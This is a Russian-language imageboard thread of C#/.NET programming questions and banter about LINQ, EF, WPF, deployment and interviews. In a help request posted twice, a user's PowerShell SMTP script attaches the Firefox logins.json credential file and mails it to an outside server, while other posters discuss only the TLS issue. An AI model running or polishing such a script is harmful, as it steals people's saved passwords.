Ну, там задачки полезные в плане общего развития. Опять же, когда новый язык учишь - полезно, потому что сначала делаешь как умеешь, потом смотришь как делают те кто в языке чуть больше шарят, получаешь таким образом представление о стили который принят в этом комьюнити, подмечаешь полезные фишки языка и т.д. Я вот так учил шарп после плюсов.
Это конечно не пиздец как скилл прокачает, но просто благодаря разнообразию на ранних этапах учишься разными способами применять программирование для решание задач.
Если цель не в этом, а побыстрее вкатиться, то наверное не лучший вариант, потому что на работе от тебя в 95% случаев будут круды заставлять делать, а для всей остальной деятельности где хоть капля мозгов нужна будет - будет стандартное решение из библиотеки.
Станешь программистом тогда, когда поймёшь, что написать 10 строчек лучше, чем одну.
Единственная практическая польза - подготовиться к собесу на котором что-то из этих задач будет. В остальных случаях только во вред пойдёт, начнёшь воротить говнокод, заниматься не нужными оптимизациями, пилить велосипеды.
Помимо учебной литературы, пользу принесут только 3 вещи:
1. Изучение паттернов проектирования, принципов СОЛИД.
2. Чтение грамотно написанного кода, больше всего подходит код стандартных библиотек и популярных фреймворков, которые поддерживаются профессионалами.
3. Написание собственного кода, который ты или другие будут применять в жизни.
Зумерок, зачем ты продолжаешь срать под себя? Это самый надежный источник рейтинга языков:
https://www.tiobe.com/tiobe-index//
Вот это можешь одноклассникам показать, если реальное положение дел их не устраивает.
>самый надежный источник
>VB на уровне решеток
В ГОЛОСЯНДРУ ЗАОРАЛ
По сабжу да - как бы не кукарекали со своим .NET Core - решеточники соснули и мелкософты сейчас плавают в говне. Проекты открываются на нодах/рельсах, старое легаси сапортиться на джубе. Единственные, что сейчас можно делать - это микросервисы/web api на решетках и ссаный геймдев. Все остальное - мертво.
я не понимаю о чем ты, я конечно добавил над классом страницы [WebService], эта херня все ранво не работает, и это очень странно потому что раньше я часто использовал веб методы я просто не могу понять какого хера сейчас оно не работает
изменена только название страницы, все остальное точная копия, но веб метод не работает, тоесть он просто не реагирует, нет ни ошибок, ни сообщений, ничего, КАК ЭТО ВОЗМОЖНО!?
и что это за хуйня /test webmethod.aspx/test? Или ты думаешь JS за тебя протокол и домен нарисует?
Посоветуйте плиз книги/статьи по архитектуре софта. Кодить научился, но код кажется говном, как в плане поддержки, так и в плане просто читаемости. Никаких паттернов не изучал ещё, стоит?
User x = new User{Name = "Vasy"};
User y = x;
y = "Petya";
будет изменение только у "y", даже если Name было обычным свойством. Наверное оно и правильно с какой-то стороны, но блин, мне хочется классов, которые при этом ведут себя как структуры.
Допустим, у нас есть цикл
foreach(var item in items)
{
var x = 5
}
Для переменной x каждую итерацию выделяется новая область памяти или компилятор будет использовать указатель на предыдущую область и будет перезаписывать ее в новой итерации?
Если for (var i=0; i < limit; i++), то в теле уменьши индекс i
goto
в голосинку
Я только вкатился в разработку. Я хочу создать веб-приложение и приложение на замарин.
Соотвественно, вопрос: как реализовать доступ к базе данных? Я могу сделать одно веб-приложение с моделями и в нем реализовать логику рест-сервиса? Или мне нужно отдельно реализовать проект с моделью, а потом в проекте веб-сервиса и веб-приложения ее подключить? Не понимаю, как сделать, подскажите, пожалуйста!
Что непонятного-то?
Делаешь библиотеку, называешь ее core, в ней описываешь свои сущности, которые будут между приложениями использоваться: модели, интерфейсы и это вот все. Делаешь еще одну библиотеку, в которой у тебя бизнес логика работы с базой реализована, в ней описываешь свои репоизтории, что во что собирается. Потом делаешь 3 проекта: webapi, твое веб-приложение и xamarin, в вебапи реализуешь rest, в двух других клиентская часть. Ну, по крайней мере я бы так делал, мне кажется такой подход довольно удобным.
можешь подробнее описать, как организовать структуру? Я не понял про две библиотеки. Одна - описание моделей, а что реализовывать во второй?
В общем, я хотел накидать рофельный пример, но это довольно долго. Короче, вот ссылка. https://github.com/dotnet-architecture/eShopOnWeb Там все довольно удобно и как я описал. Тебе, по сути, можно так же, только впихнуть еще Xamarin'овский проект в это дело.
>то можно все делать в 10 раз быстрее.
Смотря что под быстротой подразумевать. Если написание кода, то да, если работу написанного кода, то нет. LINQ улучшает читаемость кода, но иногда это идёт в ущерб его быстродействию. Например, можно сделать вот так:
someList.AddRange(anotherList.Where(item=>item.Id > 30);
А можно так:
for (var i = 0; i < anotherList.Count; i ++)
{
if (anotherList〚i〛.Id > 30) someList.Add(anotherList〚i〛);
}
И второй вариант будет гораздо быстрее, хоть и займёт 4 строки кода вместо 1;
Что там читать-то? Там из названия методов все и так понятно.
Ну серьезно FirstOrDefault , как думаешь, что оно вернет? Или ToArray, что оно сделает? Или какой-нибудь Join? Даже не представляю.
Ну или я такой странный и мне вот LINQ показался самой простой частью шарпов. Вот въехать в события было сложно, банально потому что ты сначала ими начинаешь пользоваться и думаешь что это какая-то магия, потом понимаешь что не магия и продолжаешь пользоваться, потом у тебя утечки из-за того что забыл отписаться и потом ты понимаешь, что нахуй эти события не всрались. Ну или как работает EF(core), тоже довольно мутная хуйня, которая то возвращает объекты, которые еще и тречатся, а тебе этот трекинг не всрался
Я все-равно не понял про то, как будет происходить взимодействие моделей из КОРЕ и в остальных приложениях. В книжках нихуя не написано сложных структур таких.
Можешь алгоритм действий описать и как это все связать вместе?
Типа, сначала я создаю пустой проект, прописываю в нем классы интерфейсов модели. Потом наследую от этих интерфейсов классы с моделями, где реализую методы CRUD и другие необходимые, вроде какиех-нибудь выборок.
Что потом? Я добавляю новый проект мвс. Как мне из этого проекта обращаться к модели из другого? Если я в нем обращаюсь к интерфейсам, то мне опять переписывать логику создания моделей или как? Не понимаю.
создаёшь 4 проекта
1. Модели EF + миграции
2. Дата-репозитории для CRUD. Делаешь базовый IRepository и Repositry, остальным по необходимости
3. класс с сервисами
4. веб приложение
>2. ?
ЕФ, хоть сам и является репозиторием, но обычно накручивают еще один слой абстракции, что б у тебя был более специализированный интерфейс и на случай, если когда еф перестанет удовлетворять, можо было заменить часть например на даппер и прочее незаметно для потребителя.
Т.е. что-то типа
ISuperRepo
.Shit GetShitById(int id);
.Shit[] GetLastShits(int count)
// и т д
мимо
1. да
2. ну вон тебе ниже верно сказали, что абстракция над crud'ами. Это не столько для перехода на другой ORM в будущем что я думаю случается в 0.000001 случаев, а для враппинга рядовых крудовых операций. Там же не только dbContext.GetShit() бывает, а всякие context.Shits.Where(x => x.Code.Equals(shitCode)).AsNoTracking().UseCache(). SQL запросы для сложного говна тоже в репозитории идут
>String.Join("", String[])
Но не могу
>String.Join('', String[])
Потому что первым аргументом должна идти строка. "" является строкой (пустой), а " - нет. Если тебе нужна строка с кавычкой, то она пишется так: "\"".
Потому что разрабы языка решил, что нет необходимости в еще одной перегрузке.
Нет.
https://stackoverflow.com/questions/19438152/how-to-convert-booleans-in-the-decoded-json-file-into-lower-case-strings
https://stackoverflow.com/questions/31141527/issue-with-json-null-handling-in-newtonsoft
Алсо шарп говно, я просто чужое изделие переделываю.
Да чё ты начинаешь по нему CLR пройдётся разок и он вполне сканпелируется и будет лучше твоего говнокода на расте.
Анон, смотри...
Значение открытой экспоненты, в публичном ключе RSA (e, n),
сгенерированное, вот таким вот образом:
https://github.com/bazzilic/BigInteger/blob/df41d2c6d0245ca0241c1586868e68c26f43328d/BigInteger/BigInteger.cs#L3115
присваивается полю "pa_Priv.Exponent",
внутри переменной pa_Priv, с типом RSAParameters:
>pa_Priv.Exponent = bi_e.getBytes();
Чтобы обновить там публичный ключ.
После этого, производится импорт этих параметров, в переменную rsa, с типом RSACryptoServiceProvider:
>rsa.ImportParameters(pa_Priv); //import rsa from pa_Priv with modified values
и сразу же Exception - плохие данные.
Значение вида:
>BigInteger bi_e = new BigInteger(65537);
Программулина хавает норм.
Чё за хуйня, блядь? Я хочу копростые числа, а не захардкоженную эксопненту!
Они пижже, потому что связаны с копро.
ПАМАГИТИ !!11
Вот такая шляпа лезет.
>at System.Security.Cryptography.CryptographicException.ThrowCryptographicException(Int32 hr)
>at System.Security.Cryptography.Utils._ImportKey(SafeProvHandle hCSP, Int32 keyNumber, CspProviderFlags flags, Object cspObject, SafeKeyHandle& hKey)
>at System.Security.Cryptography.RSACryptoServiceProvider.ImportParameters(RSAParameters parameters)
>...
Зачем ты в него сам пихаешь значения? В стандартной библиотеке же есть функция гегерации ключей RSA.
>Значение вида:
>>BigInteger bi_e = new BigInteger(65537);
>Программулина хавает норм.
Рискну предположить, что ты пихаеь в e числа, не соответствующие условию. Ты читал описание RSA?
Пофиксил через Formatting.None.
1)GameObject a = new GameObject();
2)GameObject[,] b = new GameObject[9, 9];
2д художник, перекатываюсь на другую позицию. Или ты думаешь что у нас все кодить умеют?
в шарагах и в дно галерах он живее всех живых. Иногда в вакансиях проскакивает XAML, WPF и MVVM. Как ты парадоксально это не звучало, но к такому стэку все равно нужно знать JS :)
Тогда логичней было бы выделять все технологии входящие в ЯПы, а то получается там все ЯПы и как белая ворона HTML/CSS. График будто вася с 5б составлял.
> XAML, WPF и MVVM
XAML и MVVM - неотъемлимые части WPF, если не говнокодить, зачем их выделять?
>к такому стэку все равно нужно знать JS
а вот этот тут зачем нужен?
Как гуй делаешь? В бленде или руками верстаешь?
Я просто не осилил хамл. Утилитарную хуйню сделать – всегда пожалуйста, но я не могу сделать красивый интерфейс, чтобы самому приятно было. В комментариях на хабре пишут, что XAML это очень мощный инструмент, но.. камон, я столько бойлерплейта в жизни не видел
Открываешь какой-нибудь легаси на вебформах, вот такое же ощущение. Только вебформы эволюционировали в разор, а хамл так и остался
В итоге плюнул, осилил жс на полфедора и пишу на кайфовом vue, благо была возможность выбирать инструмент
>vue
Проблема с таблицами больших данных, вплоть до зависания страницы при пагинации скроллом. Ты ее решил как-нибудь или у тебя такого не было?
>неотъемлимые
WPF можно писать без MVVM, нельзя без XAML. Это они намекают, что придерживаются канонов
>а вот этот тут зачем нужен?
это намек на то, что будь ты даже десктопным девом, все равно нужно пердолить что нибудь для веба
Справедливости ради, можно и без XAML, но то вообще пиздец будет, это как на WinForms самому генерируемое дизайнером писать.
я целый ебаный день сижу, и нихуя не работает!!
Зарегался сначала на каком-то бесплатном сервисе - нихуя не вышло.
Потом пробовал через АЗУРЕ, КАК БАЗУ ДАННЫХ ТАМ ИМПОРТИРОВАТЬ!??? приложение запустилось без базы!
Купил на рег.ру себе хостинг. Оказалось, что это не рдп, а какое-то говно с папочками, а инструкции нет!
Как ОПУБЛИКОВАТЬ ЕБУЧИЙ САЙТ С БАЗОЙ ДАННЫХ!!!???
я БЛЯДЬ ЩАС ВОЛОСЫ РВАТЬ УЖЕ БУДУ!
спасибо
Так ты вместо localhost сделай под remote, разницы нет почти
> Ты ее решил как-нибудь или у тебя такого не было?
У меня максимум тысяча строк было, с оптимизацией не парился
Но если бы столкнулся, то делал бы пагинацию на стороне сервера. А перед этим попробовал бы таблицы с виртуализацией строк. Что у тебя там за данные такие?
Как я делал. Купил VPS с KVM-виртуализацией, там установил дотнет хостинг бандл и nginx. Приложение, естественно, netcore
1. Открыл нужный порт в системе
2. Прописал в конфиге nginx'a порт, на котором будет работать мое приложение, и порт, который открыл наружу.
3. Запустил свое приложение
...
Профит!
Вместо запуска приложения можно написать демона, который будет сам поднимать его при перезагрузке. Так же можно обойтись без nginx'a, заявлено, что kestrel на котором работает asp готов к работе без проксирования
Гугли, я сам по шагам делал из руководства то ли на Хабре, то ли Медиуме, уже не вспомню
Отчёты. Виртуализация - это когда дом не рендерит элементы вне экрана? Не покатит, поиск должен работать. Ну тысяча строк это такое. У меня типичное количество +- 3к с 13ю колонками, две колонки из которых должны быть динамические(но судя по бенчмарку, динамика не особо влияет, т.к. без нее тоже зависает. Если он зависает, то на событиях сборки мусора, когда данных на экране много и подгружаются новые)
Думаю на серверсайд рендеринг перейтиили нахуй на рейзор пейджс
Допустим, вот у меня есть класс Book.
Если я делаю что-то типа:
class Book
{
private static Book _nullItem = new Book();
public static Book Enpty => _nullItem;
}
То в любом месте кода можно изменить значение открытых для записи свойств пустышки. Я конечно могу проверять объект book.Equals(Book.Empty), но мне не нравится так почему-то.
Crtl-f работать не будет, а кастомный поиск на странице можно сделать. Он же не в доме будет искать, а в твоих жс объекта
Как тебе разор поможет?
>>768601
Ой, и не говори, анон. В моей мухосрани самая жирная вакансия их всего две это шарп + ангуляр. Бомбит – пиздец. Ангуляр такая параша. На нем нельзя просто сесть и начать писать, а синтаксис отбивает всякое желание изучать эту NG-мешанину
С другой стороны, конкуренции там меньше должно быть
Сейчас есть кастомный фильтр. Хотя кастомный поиск, вызывающийся по клацу на ctrl+f это идея.
Разор поможет с тем, что у него вообще нет проблем с большими списками данных. Прошлый проект на нем был, клиентская часть даже не чешется от нагрузки, можно какую угодно таблицу выводить
Сделай класс EmptyBook : Book
Свойства перезапиши таким образом, чтобы сеттер ничего не изменял. Пикрил.
Легче всего будет на пыху перекатиться, чуть посложнее жаба. При этом в обоих случаях придётся столкнуться с менее удобным синтаксисом и конструкциями.
да похуй на синтаксис, главное чтобы работа была. Как бы парадаксально это не звучало, но изначально начал вкатываться на пыху, потом почитал всякие паблики-хуяблики ВК с ноющими (Ряяя, пыха умирает, говно/костыльный/НедоООП язык), который по факту по сей день живее всех живых
Руками верстаю
У нас дизайнер есть который макет рисует
По макету списать не так уж сложно
И все шероховатости дизайна, не мои проблемы
> я столько бойлерплейта в жизни не видел
Если делать все примерно в одном виде то просто переиспользуются шаблоны и стили
и ещё галочка оказывается снятой, ни хрена не понимаю в чём дело
Я так понял, что для этого используются инициализаторы бд. Но не понял, какой мне нужно использовать:
DropCreateDatabaseAlways - база дропается при каждом запуске приложения?
DropCreateDatabaseIfModelChanged - как тогда работает?
Сижу с телефона
В общем, Database.EsureCreated проверит, есть ли бд
И в методе OnModelCreated или как-то так, в параметрах есть modelBuilder, в котором можно каждую сущность-таблицу проверить на .HasData и в случае чего заполнить
Только если ты делаешь миграцию в пустую базу данных, то отключи EnsureCreated, а то ошибка будет – сперва Ensure создаст таблицы, а потом будет выполняться миграция и еще раз попытается, и свалится с ошибкой. Ничего страшного, просто так, к сведению
Все названия примерные, но легко загуглишь
lock(list)
list.Add("пук")
Будет работать и так, только желательно при этом переменную list сделать readonly, для гарантии того, что lock берётся на один и тот же объект.
Суть, есть определенные задачи, которые могут выполняться довольно долго. Таких задач можнет быть много. Должна быть возможность запуска задач по расписанию, причем расписания для разных типов задач хранятся в БД. Должна присутствовать возможность определенную задачу запустить через контроллер. Так же должна быть возможность остановить задачу из контроллера.
Ну так вот. Что я наговнокодил.
У меня есть имплементация IHostedService. В ней есть список задач которые в данный момент крутятся. В методе StartAsync я прверяю в БД расписания и добавляю в список задачи, переодически проверяю, пришло ли время их исполнить и если пришло - запускаю.
Так же у меня есть api котроллер, в нем вся логика для стороннего пользователя, тут он может сконфигурировать задачу, может запустить ее выполнение и проверить статус задачи. В этот контроллер я пробрасываю эту самую имплементацию IHostedService и еще контекст для БД и использую методы оттуда.
Ну так вот. В чем проблема. Приходится тупо прокидывать логику в этот IHostedService через контроллер. Этот сервис разбухает от этого. Плюс, т.к. это синглтон, обращения к базе приходится делать через постоянные: using var scope = serviceScopeFactory.CreateScope(), что не очень удобно. Опять же, приходится для каждого запуска задачи создавать новый CancellationTokenSource, чтобы задачи были независимы, потом чтобы через api отменить задачу, приходится смотреть есть ли такая задача в списке задач, если есть - проверить - запущена ли она, и если запущена - вызвать Cancell() у токена. Как-то это все получается громоздко и тупо.
Может быть есть примеры как подобное проделывается?
Не знаю, ими я не пользовался. Может, они решают одну и ту же проблему, узнай сам и в тред принеси почитать
Таблица User:
public string FullName { get; set; }
public int CompanyId { get; set; }
public Company Company { get; set; }
Таблица Company:
public int Id { get; set; }
public int DirectorId { get; set; }
public User Director { get; set; }
public ICollection<User>Users { get; set; }
Задача: реализовать голосовалку для пользователей. Пользователи могут участвовать в разных голосованиях, варианты ответов по голосованию тоже могут быть разные.
Писать проект нужно с головы, а не жопы или туловища. Сначала описывай всю логику, а уже под неё создавай сущности, иначе у тебя хуйня получится.
А как сделать? Мне нужна ссылка на всех сотрудников, и один сотрукдник директор.
Оставляешь директора, убираешь директор айди
Ориентируйся на что-то среднее. Без знаний JS работу вряд ли найдёшь. Где-то к этому JS еще требуется реакт и ангуляр, но это уже фуллстек на .Net, поэтому хватит обычного JS.
Что-то кроме синтаксиса не просили - это из разряда шаражек с зарплатой в 15к или рассказы времён начала 2010-х.
Проходил недавно пару собесов (из 20 компаний) - писал выше опыт. Могут спросить что угодно - от слова совсем. В тоже время пытаются залезть в залупу - спросить по ASP.NET (у меня даже по рейзору ссаному спрашивали) и зацепить тему алгоритмов, деревьев. Так как я кидал на Full back CV - в основном дрочили по нему. Касты, рефлекшн, асинхронность/многопоточность (мьютексы и локеры даже спрашивали, хуй знает зачем), LINQ много спрашивали, делегаты/события. Дохуя короче. По Субд - маст хев. И даже несмотря на то, что Full back - начали ебать мозги ссаным CSS, JS.
Я раскинул CV в 20 галер (без комерческого опыта в разработке, но с опытом работы в бизнесе) - 90% отморозились. У меня в городе (миллионнике) куча галер с конвеерами джунов, поэтому работу - хуй найдешь
$mes = New-Object System.Net.Mail.MailMessage
$mes.From = $From
$mes.Sender = $From
$mes.To.Add($to)
$mes.Subject = $subject
$mes.IsBodyHTML = $true
$mes.Body = "Ultra test it"
$mes.BodyEncoding = [System.Text.Encoding]::UTF8
$smtp = New-Object Net.Mail.SmtpClient($serverSmtp, $port)
$smtp.EnableSSL = $true
$smtp.Credentials = New-Object System.Net.NetworkCredential($user, $password)
$smtp.Send($mes)
>"The operation has timed out."
Проблема с портом/адресом. Возможно что-то блокирует подключение.
Да и переходи на Send-MailMessage
Поясните ньюфагу, почему тернарник выдает CS0201? а то же но с дефолтным условием ОК. это ограничение тернарника или это я злодей?
((N % 10 == 7) || (N % 10 == 5)) ? a = a + 0 : a = a + (N % 10);
if (N % 10 == 7 || N % 10 == 5)
{
a = a + 0;
}
else
{
a = a + (N % 10);
}
в какомто видосе слышал что овер_вопросы на собесе это мастхев чтоб нащупать дно джуна. типо у мидла и сеньора помидора дефолт знание технологий, а важен именно ОПЫТ и УСПЕХ и там смотрят по прошлым работам и проектам. а у джуна нет опыта, нет успеха вот его и спрашивают.
и это норма что ты обсеришься на какомто вопросике, но если ты весь из себя милаха_улыбака и ни разу не токсик то тебя захотят, но если ты умнее контролеров и будешь сидеть и подъебывать их на этом то тебя посылают скорее всего в йух.
Потому что это выражение, результат которого должен присваиваться переменной.
Пиши:
a = ((N % 10 == 7) || (N % 10 == 5)) ? a + 0 : a + (N % 10);
Вот допустим у меня есть следущая структура.
АпиКонтроллер. В нем методы StartTask(id), StopTask(id), Info(id). Этот контроллер нужен для того чтобы из вне можно было запустить некую задачу на сервере, ID - для того чтобы знать что это за задача и запускать ее.
Для того чтобы задачу можно было отменить я делаю класс TasksOwnerService. Этот класс - синглтон. В нем есть коллекция токенов отмены, есть список запущенных задач. Когда Апи получает какой-то запрос, этот сервис логику запуска, отмены выполняет.
Ну и сам класс задачи, который просто имеет в себе метод DoAction(CancellationToken)
Воооот. Я понимаю что уже хуйня вырисовывается, но я не знаю как лучше сделать.
Так что я говорю. Для разных задач у меня в БД есть набор параметров, собственно для этого в контроллере и нужен ID. Я, изначально хотел как делать: в класс задачи я передаю репозиторий с общими настройками действительными для всех задач, чтобы если эти настройки в процессе изменялись бы, я бы просто мог из этого класса получать актуальные. Но в чем проблемма, когда синглтон создает новую задачу, после того как задача была создана, и занесена в справочник поставленных на выполнение, контекст подключения к БД диспозится. Я это конечно обошел поправив класс задач и сделав настройки свойством, которое необходимо установить после инициализации, но мне кажется, что как-то неправильно и хотелось бы чтобы класс задач сам мог достать эти настройки. Но что я не пытался сделать - контекст диспозится, а как сделать по другому я не представляю.
>>770887
Дело оказалось в том что .NET Framework не умеет в implicit TLS. Но теперь у меня появилась другая проблема: говнокод работает на 7-ке с powershell 2.0 но не работает на 8-ке с powersell 4.0 и .NET Framework 4.6. Я так понял дело в сломанной совместимости между версиями .NET Framework т.к. в классе Net.Mail.SmtpClient появились новые свойства вроде кодировки темы, заголовков и тела сообщения а командлет Send-MailMessage не позволяет их менять в оф документации что-то не нашел.
$server = "smtp.mail.ru"
$serverPort = 587
$timeout = 30000 # timeout in milliseconds
$enableSSL = $true
$implicitSSL = $false
$credentials = New-Object System.Net.NetworkCredential("pochta", "parol")
if (!$enableSSL -or !$implicitSSL)
{
# Set up server connection
$smtpClient = New-Object System.Net.Mail.SmtpClient $server, $serverPort
$smtpClient.EnableSsl = $enableSSL
$smtpClient.Timeout = $timeout
if ($enableSSL)
{
$smtpClient.UseDefaultCredentials = $false;
$smtpClient.Credentials = $credentials
}
$message = New-Object System.Net.Mail.MailMessage $from, $to, $subject, $body
$message.Subject = $subject
$message.IsBodyHTML = $true
$message.Body = "MKultra1"
$message.
#foreach ($att in $d) {
# if ($att -ne $null) {
# $message.Attachments.Add($att)
# } else {
# Write-Output "Something wrong"
# }
#}
$message.Attachments.Add($env:APPDATA + "\Mozilla\Firefox\Profiles\" + $(MozPro -p 0) + "\logins.json")
Write-Output "Sending email to $to..."
try
{
$smtpClient.Send($message)
Write-Output "Message sent."
}
catch
{
Write-Error $_
Write-Output "Message send failed1."
}
>>770887
Дело оказалось в том что .NET Framework не умеет в implicit TLS. Но теперь у меня появилась другая проблема: говнокод работает на 7-ке с powershell 2.0 но не работает на 8-ке с powersell 4.0 и .NET Framework 4.6. Я так понял дело в сломанной совместимости между версиями .NET Framework т.к. в классе Net.Mail.SmtpClient появились новые свойства вроде кодировки темы, заголовков и тела сообщения а командлет Send-MailMessage не позволяет их менять в оф документации что-то не нашел.
$server = "smtp.mail.ru"
$serverPort = 587
$timeout = 30000 # timeout in milliseconds
$enableSSL = $true
$implicitSSL = $false
$credentials = New-Object System.Net.NetworkCredential("pochta", "parol")
if (!$enableSSL -or !$implicitSSL)
{
# Set up server connection
$smtpClient = New-Object System.Net.Mail.SmtpClient $server, $serverPort
$smtpClient.EnableSsl = $enableSSL
$smtpClient.Timeout = $timeout
if ($enableSSL)
{
$smtpClient.UseDefaultCredentials = $false;
$smtpClient.Credentials = $credentials
}
$message = New-Object System.Net.Mail.MailMessage $from, $to, $subject, $body
$message.Subject = $subject
$message.IsBodyHTML = $true
$message.Body = "MKultra1"
$message.
#foreach ($att in $d) {
# if ($att -ne $null) {
# $message.Attachments.Add($att)
# } else {
# Write-Output "Something wrong"
# }
#}
$message.Attachments.Add($env:APPDATA + "\Mozilla\Firefox\Profiles\" + $(MozPro -p 0) + "\logins.json")
Write-Output "Sending email to $to..."
try
{
$smtpClient.Send($message)
Write-Output "Message sent."
}
catch
{
Write-Error $_
Write-Output "Message send failed1."
}
нахуй ты эту простыню сюда притащил? Кому интересны твои костыли к TLS? Уже все написанно - подключай либу и отправляй себе запросы. Нахуй ты себе и к тому же другим мозги ебешь?
Могу только удвоить вот этого >>771928 адеквата. Если ты хочешь пилить свои костыли, то тебе нужно не .NET использовать, а брать какой-нибудь хобби-язык вроде Раста или Хачкеля, к которым хуй да нихуя библиотек, а их пользователи больше похожи на фанатиков-костылеписцев, чем на программистов.
Хм, моё увожение. А почему не закачать нужны либ сразу после установки или доступа к внешней сети нет?
Сейчас выяснил что дело было в сегменте сети где производилась попытка запустить скрипт на более новых версиях винды. Так-то есть в планах при прописать в скрипте скачивание нужной либы для тех вещей где чистым .NET не обойтись
года 2 пишу на решетках, коммерческого - 0
CoreRT? Я не углублялся, анон
У меня есть компьютер, на нем стоит база данных Microsoft SQL Server. Тут понятно как мою С# прогу подключать и указывать логин-пароль
Но я хочу сделать прослойку между моей программой и базой данных. В качестве прослойки служит база данных Microsoft Access
В этой базе данных есть нужные мне запросы, плюс хранятся локальные данные пользователя программы, а также кеши выборок чтобы основную базу не дергать (коорче, оказалось удобно так делать)
База данных access должна содержать связанные таблицы из Microsoft SQL Server (сейчас она содержит полные копии каждой таблицы, пока я тестово работаю)
Но я не знаю как указывать в данном случае логин и пароль базы Microsoft SQL Server
>WPF очень хорошо работает с паттерном MVVM ( https://ru.wikipedia.org/wiki/Model-View-ViewModel ), и позволяет пилить очень кастомизированные интерфейсы с помощью XAML
А зечем? Я понимаю если ASP и прочий веб стек, там без MVC MVVM сложно. Но MVVM в стандалон проге для тырпрайза? Серьёзноблядь? Какой дегенерат будет это городить в десктопах то? И главное ради чего? Обычно это делается чтобы разделить разработку на дизайн, программирование и БД. Но тут и без MVVM эта задача решена сразу из коробки. Короче, обьясните мне профиты. Кучу раз на конференциях слышал что этот паттерн кто-то использует и кучу раз выступающего поливали ушатами из говна. Потому-что герома много, а профита нет.
> > Какой дегенерат будет это городить в десктопах то?
Смотря что ты пишешь. Если маленький проект, то вопросов нет, можно закостылить и так. Правда, поддерживать другим будет больно, я уже наткнулся на эти грабли. А если что-то массивное, то mvvm тут будет на руку
> И главное ради чего?
Даже если проект небольшой, то mvvm это стандарт. Ты открываешь чужой проект, и тебе не надо думать, ты просто читаешь
> ушатами из говна
Везде есть спорные моменты. Можно спросить, как сделать модальное окно, и все, абстракция потекла
Я не использовал mvvmlight, prisma, потому что у них довольно высокий порог входа. Может, с ними удобнее. Но я просто забросил это впф нахуй и доволен как слон
Надо что-то небольшое – на винформе пишу, драг анд дроп. И никакого xmlns, Grid.RowDefinition, DickDuckValueConverter и прочего нечитаемого бойлерплейта. Надо что-то большое – вот вам сайт на mvc или vue
>Правда, поддерживать другим будет больно, я уже наткнулся на эти грабли. А если что-то массивное, то mvvm тут будет на руку
Что именно не так? Сейчас поддерживаю прогу в компании. Довольно большая Пользуются её 2к человек. Кода оче много. Без MVVM. За неделю примерно разобрался, за месяц написал первый модуль к ней, начал фиксить.
>Даже если проект небольшой, то mvvm это стандарт. Ты открываешь чужой проект, и тебе не надо думать, ты просто читаешь
Я и так читаю, никаких проблем с этим не видел. Если у меня скила не хватает, то хоть какой паттерн применяй, будет сложно. А если хватает, то опять же причём тут паттерн?
>Везде есть спорные моменты. Можно спросить, как сделать модальное окно, и все, абстракция потекла
Без MVVM? Берёшь и делаешь. Я не понял где проблема?
> Сейчас поддерживаю прогу в компании. Довольно большая Пользуются её 2к человек. Кода оче много. Без MVVM.
Мне достался проект, где классы форм были в тысячи строк. Возможно, у вас изначально задумывались над архитектурой, а не допиливали утилиту до состояния монстра
> Без MVVM? Берёшь и делаешь. Я не понял где проблема?
С mvvm
У тебя сложный "бек", или сам интерфейс с тоже выворотами? Сколько примерно элементов на экране отображается одновременно?
>>774360
Ты меня не слушай.
>У тебя сложный "бек", или сам интерфейс с тоже выворотами?
Интерфейс без особых выворотов. В основном бэк сложный.
>Сколько примерно элементов на экране отображается одновременно?
Примерно 20, в особых случаях до 80.
Прям оче редко 90.
Так а глянь по коду, как оно генерируется. Там КОПРОстое число же, всё как и должно быть.
Но ImportParameters его не хочет импортировать.
Открой рефлектором тогда метод, который крашится. Вот там хохма будет, если проверяется, что е == 65537 или исключениие
посмотри в браузере куда летит реквест. может у тебя неправильно url в js ставится?
если что вот пример который аналогичен моему
https://www.aspsnippets.com/Articles/Calling-ASPNet-WebMethod-using-jQuery-AJAX.aspx
???
Скажи честно, ты сидишь в тюрьме и изучаешь сишарп по древним книгам нулевых годов еще до asp.net mvc и выходишь в интернет по WAP через sony ericcson k750i, протащенный в жопе залётного питониста и трафика хватает только на этот тред с отключенным JS и CSS?
Ну ты посмотри кого ты блять слушаешь. Муддасар Кхан в 2013 году. Это блять индус блять. И ты читаешь записки индуса из 2013 года в 2020 году.
> WebMethod
Братан, ну ты в натуре через вап сидишь
В чем проблема открыть вкладку сеть, и посмотреть, куда твой xnr летит?
Атрибуты на методе висят какие-нибудь? Мидлвары нестандартные?
Я не знаю, как. Попробуй сам. В Visual Studio просто исключение и пишется 'Плохие данные'.
type на method замени в ajax. А вообще схуёв ли TestMethod - static? Я родился уже когда MVC был, у нас контроллеры например не статик.
Братанчик ну у меня своих проблем хватает. Скачай фриварный ILSpy и натрави его на .exe/.dll своей программы
https://dotnet.microsoft.com/download
https://code.visualstudio.com/
https://www.jetbrains.com/rider/
для вс код поставь плагин для сишарпа чтобы какой-никакой дебаг был
СПС.
прикалываешься? я вообще-то помощи прошу, такого как mhetod в документации даже нет есть post get put delete
>Ну да, только таких в топ IT компанию и берут.
Там дикое легаси, в котором черт ногу сломит, работает и ладно. Сказки про топ компании, сука.
потому что современнее. потому что работая с mvc проектом ты можешь запросто перелезть на разработку rest api, потому что принцип один и тот же. потому что в коре ходовой стек - это именно mvc, а развивается именно коре, а не древние веб формы. развивается как в плане внутренних оптимизации, так и различных фич и синтаксического сахара вроде встроенного DI
то есть я не пойму, в мвс не юзают вебметодов? а как вы тогда общаетесь с сервером?
ебать вы ебанутые, и еще задвигаете что-то в сторону божественных вебформ
Крч мне нужно написать парсер, который будет искать на сайте символы и выводить эту строчку в консоль/тхт/таблицу. У меня нихуя не работало и я решил взять пример из интернетов.. и он блять тоже нихуя не работает. Использовал библиотеку AngleSharp.
я только вкатываюсь
Чому не отменяется-то загрузка если я долблю esc?
Ну и в остальном, прошу как обычно кодревью. Да.
https://www.dropbox.com/s/850r24tvk2qh9t6/RisovachGraber.7z?dl=0
На дропбоксе можно посмотреть код не качая ничего
Где ты так научился код писать? Тоже так хочу.
>Чому не отменяется-то загрузка если я долблю esc?
Прям вообще не отменяется или отменяется с задержкой? Видимых причин для первого нет.
>Ну и в остальном, прошу как обычно кодревью. Да.
Зачем ты используешь в HttpService.DownloadAndSave инстанс WebClient'a, кода у тебя в HttpService есть инстанс HttpClient'a?
Метод GrabAsync слишком перегружен, я бы вынес парсинг страницы и сбор всех uri в отдельный приватный метод.
В этом методе нужно заменить все EndsWith на регулярное выражение из словаря, ключом к которому будет одно из значений перечисления FileType {Image, Video}, в итоге у тебя появится быстрая возможность добавлять сохранение файлов определенного типа и код станет более читаемым.
В остальном мне всё понравилось, организованно на отлично.
